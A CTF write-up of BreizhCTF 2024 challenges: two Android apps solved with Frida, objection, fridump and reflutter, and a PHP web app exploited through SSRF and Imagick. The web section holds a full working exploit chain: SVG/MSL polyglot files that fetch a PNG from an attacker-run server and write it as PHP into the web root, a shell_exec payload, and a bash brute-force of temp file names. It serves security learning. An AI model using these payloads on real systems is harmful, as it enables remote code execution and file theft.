BreizhCTF 2024 - Mobile OwnApp and Web Popup Creator Write-ups
BreizhCTF is the largest physical CTF in France and gathered 600 participants the 17th may 2024.
This post is the write-up of 3 excellent challenges written by Worty: 2 mobile challs on “OwnApp” and 1 web on Popup Creator.
I’d like to thank all BreizhCTF team for the great work they are doing each year so that this event is a success: BDI, Kaluche, Saax, Icodia, and all the challs creators from ESNA! In particular, thank you Worty for the great work and discussion we had during this conference :)
Mobile 1 - OwnApp - Easy
You are provided a mobile android APK ownapp.apk
with challenge description saying that cert pinning was implemented for security reason.
I fired up a genymotion emulator and installed the APK with Burp in interception in the system proxy and installed CA certificate:
The text said a request was sent. However, I could not see an http request in Burp or handshake error like it’s usually the case when cert pinning is implemented.
So, before digging into the dynamic analysis, I decompiled the apk with jadx to see if I could find the URL directly in the source code:
$ jadx -d ./output/ ownapp.apk
Here is the code of the main activity:
package com.example.ownapp;
import android.os.Bundle;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.example.ownapp.databinding.ActivityMainBinding;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;
public native String getURL();
static {
System.loadLibrary("ownapp");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
this.binding = inflate;
setContentView(inflate.getRoot());
TextView tv = this.binding.sampleText;
new HttpClient().execute("https://" + getURL());
tv.setText("[DEBUG] Request sent !");
}
}
As you can see, an HTTP request is made by the custom HttpClient
class to an URL retrieved from the getURL()
method of the class:
public native String getURL();
The native
keyword indicate that the function is imported from external library code: libownapp.so
. This native library uses a standard Java mechanisms, the Java Native Interface (JNI), to expose C/C++ functions in Java functions. A simple strings
in the library showed to quickwin URL.
As I am not a good reverser, I chose a straightforward method with a frida script that would just call the getURL()
method of the main activity instance:
console.log("Script loaded successfully ");
Java.perform(function x() {
console.log("Inside java perform function");
// Example of using/reusing an instance of a class to call it
Java.choose("com.example.ownapp.MainActivity", {
//This function will be called for every instance found by frida
onMatch : function(instance){
console.log("Found instance: "+instance);
console.log(instance.getURL());
},
onComplete:function(){}
});
});
We just browse every instances of com.example.ownapp.MainActivity
class and call getURL()
on it. We start a frida server:
$ adb shell
vbox86p:/ $ cd /data/local/tmp/frida-server-16.1.4-android-x86_64
vbox86p:/data/local/tmp/frida-server $ ./frida-server-16.1.4-android-x86_64 -l 0.0.0.0
And launch the objection and imported the frida script to get the URL. It could have been done with frida without objection:
$ frida-ps -Uai
$ /root/.pyenv/versions/3.11.7/bin/objection -g OwnApp explore
Using USB device `Galaxy S9`
Agent injected and responds ok!
_ _ _ _
___| |_|_|___ ___| |_|_|___ ___
| . | . | | -_| _| _| | . | |
|___|___| |___|___|_| |_|___|_|_|
|___|(object)inject(ion) v1.11.0
Runtime Mobile Exploration
by: @leonjza from @sensepost
[tab] for command suggestions
com.example.ownapp on (Samsung: 12) [usb] import test.js
Script loaded successfully
Inside java perform function
Found instance: com.example.ownapp.MainActivity@3b42d8e
ownapp.ctf.bzh/my_very_secret_secret_route?flag=0
com.example.ownapp on (Samsung: 12) [usb]
A curl on the URL with the GET parameter set to 1 managed to get the flag:
$ curl -i "https://ownapp.ctf.bzh/my_very_secret_secret_route?flag=1"
Mobile 3 - OwnApp v2 - Difficult
The challenge description said the security issue with the previous app was fixed and a new button was added to the application. So we expect a more difficult cert pinning bypass.
I reproduced the same basic step as previous to put Burp in interception and started the application:
As expected, no request went through Burp even with playing a bit with the counter.
After static analysis after Jadx decompilation, we notice that this is a flutter app from the packages of the main activity:
package com.breizhctf.own_app_version_2;
import io.flutter.embedding.android.d;
/* loaded from: classes.dex */
public class MainActivity extends d {
}
Moreover, the rest of the code was obfuscated:
Flutter is a mobile framework for writing cross-platform application. The code is written in Dart, compiled in lib/libapp.so
and interpreted at runtime by the Dart VM. So, we have to deal with Dart byte-code. Reverse engineering of Dart seems to be not that easy from a quick search on the subject here and here.
The shared file objects lib/libapp.so
contains Dart snapshot (AOT) in ELF format but do not expose Dart functions:
A “clustered snapshot” format but with compiled code in the separate executable section
As I am not a reverser, I chose to try to bypass cert pinning with reflutter which is a tool dedicated for that:
$ pip3 install reflutter==0.7.8
$ reflutter OwnAppV2.apk
Choose an option:
1. Traffic monitoring and interception
2. Display absolute code offset for functions
[1/2]? 1
Example: (192.168.1.154) etc.
Please enter your BurpSuite IP: 10.50.141.17
Wait...
SnapshotHash: b6d0a1f034d158b0d37b51d559379697
The resulting apk file: ./release.RE.apk
Please sign,align the apk file
Configure Burp Suite proxy server to listen on *:8083
Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab
Then enable invisible proxying in Request Handling Tab
Support Invisible Proxying -> true
Then align and resign the app and install it on the device:
$ zipalign -p -f -v 4 release.RE.apk release.RE.aligned.apk
$ java -jar uber-apk-signer-1.2.1.jar --allowResign -a release.RE.aligned.apk
However, after setting Burp as required to listen on port 8083, no query could be seen in Burp after that. I tested the demo app in the flutter repository and I could see the requests. I also tried the option 2 to get a Dart snapshot without success.
I tried a different approach by dumping process memory and hope to find the URL not obfuscated in the memory.
$ git clone https://github.com/Nightbringer21/fridump.git
$ cd fridump
$ python3 fridump.py -U -s own_app_version_2
We obtain a huge list of memory region dumps with a strings.txt
file containing strings found during the dump:
$ ls -all
total 566108
drwxrws--- 2 root rvm 36864 May 17 23:23 .
drwxrws--- 5 root rvm 4096 May 17 23:23 ..
-rw-rw---- 1 root rvm 28672 May 17 23:23 0x40038000_dump.data
-rw-rw---- 1 root rvm 28672 May 17 23:23 0x401bf000_dump.data
-rw-rw---- 1 root rvm 16384 May 17 23:23 0x40273000_dump.data
-rw-rw---- 1 root rvm 28672 May 17 23:23 0x402d3000_dump.data
-rw-rw---- 1 root rvm 28672 May 17 23:23 0x40309000_dump.data
-rw-rw---- 1 root rvm 147456 May 17 23:23 0x40327000_dump.data
-rw-rw---- 1 root rvm 16384 May 17 23:23 0x403e5000_dump.data
-rw-rw---- 1 root rvm 65536 May 17 23:23 0x404b6000_dump.data
...
-rw-rw---- 1 root rvm 20971520 May 17 23:23 440401920_dump.data
-rw-rw---- 1 root rvm 20971520 May 17 23:23 461373440_dump.data
-rw-rw---- 1 root rvm 20971520 May 17 23:23 482344960_dump.data
-rw-rw---- 1 root rvm 12582912 May 17 23:23 503316480_dump.data
-rw-rw---- 1 root rvm 1827154 May 17 23:23 strings.txt
By grepping the domain name of the ctf, we find an interesting address:
$ strings strings.txt | grep ctf.bzh
https://ownappv2.ctf.bzh/score_from_user_app_android?score=42
A quick GET on the URL revealed a detection mechanism in place for mobile client, rejecting web clients:
I tried with several mobile user agent without success.
Then, from the variable “score”, I just went back to the application and click until the score 42 displayed and got a request in Burp! The interception was indeed working:
The user agent was actually Dar specific. Replaying the request with a score larger than Kaluche was enough to get the flag:
Web - Popup Creator - Difficult
This challenge was solved together with Calimsha.
Challenge analysis
It is a whitebox challenge. We are given the source code of the web app and a docker file to test locally:
$ docker build .
$ docker run -p80:80 0189423448fe
We explore the web application:
And quickly find possible hints on the issues to exploit: SSRF + LFI?
The SSRF seems to be on this page:
A static analysis on the source code revealed a plain PHP application, without framework. The app source code is really tiny. There seems to be only 1 major dependency with imagick. This gives hint on what we may use to retrieve the flag which is located at /flag.txt
:
...
RUN mkdir -p /usr/src/php/ext/imagick && \
curl -fsSL https://github.com/Imagick/imagick/archive/06116aa24b76edaf6b1693198f79e6c295eda8a9.tar.gz | tar xvz -C "/usr/src/php/ext/imagick" --strip 1 && \
docker-php-ext-install imagick dom && \
...
COPY ./flag.txt /
RUN chmod 755 /var/www/html/ && chown root:root /var/www/html/
RUN chown www-data:www-data /var/www/html/*.php
RUN chown www-data:www-data /var/www/html/fetcher/*.php
RUN chown www-data:www-data /var/www/html/fetcher/helpers/*.php
...
The SSRF is confirmed in the fetcher.php
file. I removed unnecessary code for better readability:
...
if($_SERVER["REQUEST_METHOD"] === "POST")
{
if(isset($_POST["url"]) && !empty($_POST["url"]))
{
if(filter_var($_POST["url"], FILTER_VALIDATE_URL))
{
if(str_starts_with($_POST['url'],"http://") || str_starts_with($_POST['url'],"https://"))
{
...
//to handle network connection problem
try{
$html = file_get_contents($_POST["url"], false, $context);
}
catch(Throwable $e){}
if(isset($html) && $html != NULL)
{
$parser = new HtmlParser($html);
$parser->parse_html();
...
Then the HTML code retrieved is parsed in the HtmlParser
class:
class HtmlParser
{
...
function parse_html()
{
$this->dom_doc = new DOMDocument();
$this->dom_doc->loadHTML($this->raw_html);
...
$this->get_images();
$this->image_parser->parse_image($this->images);
...
}
And in case of <img>
tags, the ImageParser
class is used:
class ImageParser
{
function parse_image($images)
{
foreach($images as $image)
{
try{
$imagick = new Imagick($image);
$imagick->resizeImage(25,25, 1, 1);
array_push($this->img_data, base64_encode($imagick->getImageBlob()));
}
catch(Throwable $e){};
}
}
}
An instance of Imagick
class is created with a fully user controlled input in the constructor.
All of this seems to push the player to SSRF an HTML and then use Imagick for getting the flag.
1st attempt: SVG LFI
After a search on google with imagemagick php lfi
led us to the following blog post: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/. A first part explains how a simple SVG can LFI in the context of a Wordpress exploit with the text
formatter:
<svg width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/flag.txt" width="500" height="500" />
</svg>
However, when trying this exploit we get an error in the container output:
apache2: unable to get type metrics `/flag.txt' @ error/txt.c/ReadTEXTImage/278.
I’m not sure about the origin of the error. It seems to be linked with the ability of Imagick to select a font to render the file.
2nd attempt: SVG MSL file write race condition
A second part of the article get deeper into a RCE exploit leveraging a polyglot SVG/MSL that lead to an arbitrary file write.
To make a summary of the article, the researcher observed that Imagick creates temporary files in /tmp
directory in this form in the default configuration. These files are removed after processing. Here is an example in the docker container of the challenge:
root@a92fa0f814dc:/var/www/html# ls -all /tmp
total 24
drwxrwxrwt 1 root root 4096 May 20 12:48 .
drwxr-xr-x 1 root root 4096 May 20 12:44 ..
-rw------- 1 www-data www-data 0 May 20 12:48 magick-6-6z_dXcrHg8P_U-r4R79gN9YwXZKx5O
-rw------- 1 www-data www-data 0 May 20 12:48 magick-RLMSeurMD3qz4Qn9BH4KVbEssO8rrTeV
-rw------- 1 www-data www-data 455 May 20 12:48 magick-XUBY0-SLKASoHp8PGkEhyWWwiY5I1U4I
-rw------- 1 www-data www-data 422 May 20 12:48 magick-nwP4ARAG-S0MN7Afliae9ikyo311AKEY
drwxrwxrwx 1 root root 4096 May 20 12:46 sessions
2 files are created, and 1 of them is the original file like it was uploaded, but with a different filename.
But, by providing a SVG including an image that points to a closed IP/port, Imagick will wait and timed out by default after 1 minute:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
This gives the ability to write a local file that will stay 1 min on the filesystem and use it in a race condition exploit. But the file has to be a valid image file.
Magick Scripting Language (MSL) has been abused in the past like in Imagetragick exploit. It provides the ability to execute unit magick operations. For instance, here is a poc file that convert a png and writes it to a directory:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://10.50.141.17:30000/test.png" />
<write filename="/var/www/html/exploit.php" />
</image>
If test.png
is a valid PNG, we can just insert PHP instructions that will be interpreted with the .php
extension. For that, we use the script mentioned in the blog article: https://github.com/Patrowl/CVE-2023-4634/:
$ python3 CVE-2023-4634.py --generatepng --png_polyglot_name testr.png --payload "<?php var_dump(shell_exec('id && cat /flag.txt')); ?>"
Now, the trick is to craft a valid image file (a SVG), that is also a valid MSL file, a polyglot SVG/MSL.
Triggering Imagick MSL parsing is not that easy anymore. When using the PHP Imagick library on images, a first called is made to the identity function. Identify will read the image, search for Magic Byte or specific string within the file. The result of the function will then be used as Imagick Parser.
Here is a solution provided in the article:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://192.168.1.21:30000/test.png" />
<write filename="/var/www/html/exploit.php" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>
So, it is possible to write a valid MSL file in the filesystem in the form of /tmp/magick-<something>
, and make a second call to use the MSL file.
However, it is not possible to guess the file name of the MSL file to use.
The VID format comes to the rescue:
Here we discover the power of the VID format with this great article about exploitation of another Software using Imagick: https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/. […] the VID formatter is using ExandFilenames() function on input parameters, which allows usage of wildcard within a folder.
So with the following SVG can trigger an existing MSL file in the tmp directory:
<svg width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-*" width="500" height="500" />
</svg>
The strategy is:
- A first SSRF http call to
index.html
on our local sever creates a SVG that is also a MSL for 1 min the file in the/tmp
directory - A second SSRF http call to
index2.html
on our local server triggers the MSL with a VID wildcard syntax in the/tmp
directory - The MSL download a PNG and writes it as a PHP file to a writable location by
www-data
like/var/www/html/bugs.php
under the webserver root directory
index.html
<html>
<body>
<img src="http://192.168.1.21:30000/test.svg">
</body>
</html>
test.svg
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://192.168.1.21:30000/test.png" />
<write filename="/var/www/html/bugs.php" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>
index2.html
<html>
<body>
<img src="http://192.168.1.21:30000/test2.svg">
</body>
</html>
test2.svg
<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-*" width="500" height="500" />
</svg>
However, the tests made showed some kind of queued mechanism within Imagick. Our 2nd call would only be processed after the first one would timeout after 1 min.
3rd attempt: SVG MSL file write by segfault + SVG filename oracle + VID MSL exec
By doing some tests, we noticed some segfaults with msl:
format when the file does not have the expected format: for instance with /etc/passwd
:
<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
</svg>
In this case, the original file also remains in the /tmp
directory and we do not have the race condition + queue issue anymore:
root@5bef8e92691c:/tmp# ls -all
total 636
drwxrwxrwt 1 root root 376832 May 23 07:42 .
drwxr-xr-x 1 root root 4096 May 22 17:34 ..
-rw------- 1 www-data www-data 388 May 23 07:42 magick-FhTivzt3k-dJMneJWAbXQUkYxxTjCmNj
-rw------- 1 www-data www-data 0 May 23 07:42 magick-ZYGBxIxYvYCb4kZRRElBK95tCWZt7jww
-rw------- 1 www-data www-data 406 May 23 07:42 magick-sCSeRpRKPEBTPU3bkDgJPv7Xtj3f1CVv
drwxrwxrwx 1 root root 249856 May 23 07:42 sessions
root@5bef8e92691c:/tmp# cat magick-sCSeRpRKPEBTPU3bkDgJPv7Xtj3f1CVv
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://10.36.50.111:30000/test.png" />
<write filename="/var/www/html/bugs.php" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
</svg>
But the problem remain the same with the 2nd HTTP request: we cannot determine the exact filename generated by the error.
We can try to bruteforce the filename with msl
format. However, as soon as a file is found, it would hang even if the file is empty, creating more junk files in the /tmp
directory, that would make even more difficult to find the right file. This technique still work but the success ratio is low.
As the file is also a valid SVG, we found that svg
format was much more smooth and would not hang on non valid SVG files, like empty files or MVG. We can bruteforce filenames and the request would hang (segfault) if the file is a valid SVG with vid:svg
:
vid:svg:/tmp/magick-a*
vid:svg:/tmp/magick-b*
vid:svg:/tmp/magick-c*
...
First, we place our SVG polyglot in the tmp
dir by segfaulting Imagick with invalid MSL text:vid:msl:/etc/passwd
:
$ curl http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/index.html"
index.html
<html>
<body>
<img src="http://192.168.1.21:30000/test.svg">
</body>
</html>
test.svg
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://192.168.1.21:30000/test.png" />
<write filename="/var/www/html/bugs.php" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
</svg>
</image>
We remplace our simple http server with a PHP dev server to launch our bruteforce script:
$ php -S 0.0.0.0:30000
And start a oneliner (expanded for readability) bash to bruteforce the filename:
for i in `echo -n "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-" | sed -e 's/\(.\)/\1\n/g'`; do
echo "Testing: $i";
if [ 1 -ne `curl -s http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/brute.php?letter=$i" | grep -c data` ]; then
break;
fi ;
done
brute.php
<html>
<body>
<img src="vid:svg:/tmp/magick-<?php echo $_GET['letter'] ?>*">
</body>
</html>
Then we get the starting letter of the SVG polyglot:
Testing: A
Testing: B
Testing: C
Testing: D
...
Testing: r
And we can trigger our payload directly:
$ curl http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/index2.html"
index2.html
<html>
<body>
<img src="vid:msl:/tmp/magick-r*">
</body>
</html>
The file /var/www/html/bugs.php
got replaced by our malicious PNG containing our PHP instruction. We can call it to get the flag:
$ curl -s http://localhost/bugs --output -
�PNG
�
IHDRf�:%gAMA��
!��=tEXtCommentstring(72) "uid=33(www-data) gid=33(www-data) groups=33(www-data)
BZHCTF{fake_flag}
"
�]��%tEXtdate:create2024-05-23T07:36:57+00:00��|�%tEXtdate:modify2024-05-23T07:36:57+00:00���5IEND�B`�#
Other valid solution: PHP file tmp file upload + VID MSL exec race condition
After discussing with Worty, he pointed out that there was another smart technique to get the file uploaded: we sending a file, PHP engine stores it in the /tmp
directory to make it available to the PHP script variable $_FILES
even if it’s not used.
Then we can just flood of requests with vid:msl:/tmp/php-*
and in parallel, flood of requests that POST a valid MSL file to any PHP script.
In the BreizhCTF, as users are limited to 100 req/sec, it requires 2 players to inject at the same time to get the race condition working.